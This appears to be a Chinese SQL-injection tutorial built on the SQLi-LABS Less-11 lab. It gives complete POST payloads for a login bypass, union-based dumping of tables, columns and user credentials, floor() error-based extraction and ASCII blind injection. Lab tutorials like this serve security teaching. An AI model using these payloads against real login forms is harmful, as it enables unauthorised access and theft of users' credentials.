目录
1. POST提交注入方式
2. POST提交联合注入
3. POST提交报错注入
4. POST提交盲注
在之前的示例中基本上是使用的get方式提交,本篇使用的POST提交注入方式,两种方式区别在于:
- GET方式提交可以被网页缓存,POST方式则不会
- GET提交参数会保留在浏览器的历史记录中,POST方式不会
- GET提交可以被收藏为书签,POST方式不会
- GET提交有长度限制,最长2048个字符;POST提交没有长度要求,允许使用ASCII码值,二进制数据
总体上来说,POST提交方式比GET方式更加安全,真实环境中基本上不使用GET方式,而是使用POST方式。
一般网站都会有用户名和密码,提示用户登录:
分析SQLi-LABS Less-11的源代码:
重点分析圈出的代码部分,后台代码中首先会获取到uname和passwd(即用户名和密码),然后直接拼接到sql语句中,没有进行任何形式的过滤和校验,从分析代码的过程中还可以得知当前注入类型是字符型注入,并且注入的闭合方式是以“ ’ ”单引号结束的,到这基本可以确定,username存在注入点,可以使用post提交注入,用’or’指令绕过密码验证。
当然,在不进行代码审计的情况下,可以通过构造特定的SQL语句注入来判断,具体流程参考第一篇SQL注入的文章中的万能密码漏洞分析:1-Web安全——初识SQL注入漏洞。
在SQLi-LABS Less-11使用万能密码进行登录测试:
可以看到明显是可登录的,说明万能密码漏洞利用成功。
接下来通过order by语句来确定当前数据库表的列数:
通过order by 1,2语句发现SQL语句执行正常,当使用order by 1,2,3语句,数据库则返回错误信息:Unknown column '3' in 'order clause' ,说明当前表的字段列数只有2列了。
确定字段列数后,把uname的值修改成不存在的ad用户,判断出显示位:
uname=ad' union select 1,2#&passwd=123&submit=Submit
接着再判断数据库的版本和数据库名字等信息:
uname=ad' union select version(),database()#&passwd=123&submit=Submit
基于POST提交的注入方式查询当前数据库下的所有表名:
uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&passwd=123&submit=Submit
基于POST提交的注入方式查询当前数据库表的所有列名:
uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#&passwd=123&submit=Submit
基于POST提交的注入方式查询当前数据库表的所有用户名和密码:
uname=1' union select 1,(select group_concat(username,'@',password) from users)#&passwd=123&submit=Submit
基于POST方式提交报错注入,在提交用户名和密码数据确定页面进行报错,再判断页面的闭合方式:
如果页面没有反馈信息但会提示报错的话,可以使用报错注入extractvalue(),updatexml(),floor()。
这里使用floor报错方式注入,在提交用户名时用查询语句替换掉or语句:
uname=admin') union select count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit
基于POST提交方式的报错注入直接就把数据库名字给爆出来了。
使用floor报错,查询当前数据库下的所有表名:
uname=admin') union select count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit
细心的同学可能会发现,其实在这条SQL语句中就是将concat_ws函数中的第二个参数中的select database()替换掉了,使用limit进行控制显示表名。
使用floor报错,查询当前数据库下的所有表的列名:
uname=admin') union select count(*),concat_ws('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit
使用ascii函数盲注,利用二分法查询当前数据库名:
uname=admin' or ascii(substring(database(),1,1))>112#&passwd=123&submit=Submit
利用二分法原则当判断第一个字母的ascii码值是否大于112时,web页面返回的是successfully logged in。
进一步判断第一个字母的ascii码值是否大于125:
说明第一个字母的ascii码值是大于112,但是要小于125的,后面的字母以此类推...... 可以逐个猜解出当前数据库的名字,表的列名,用户名和密码等信息。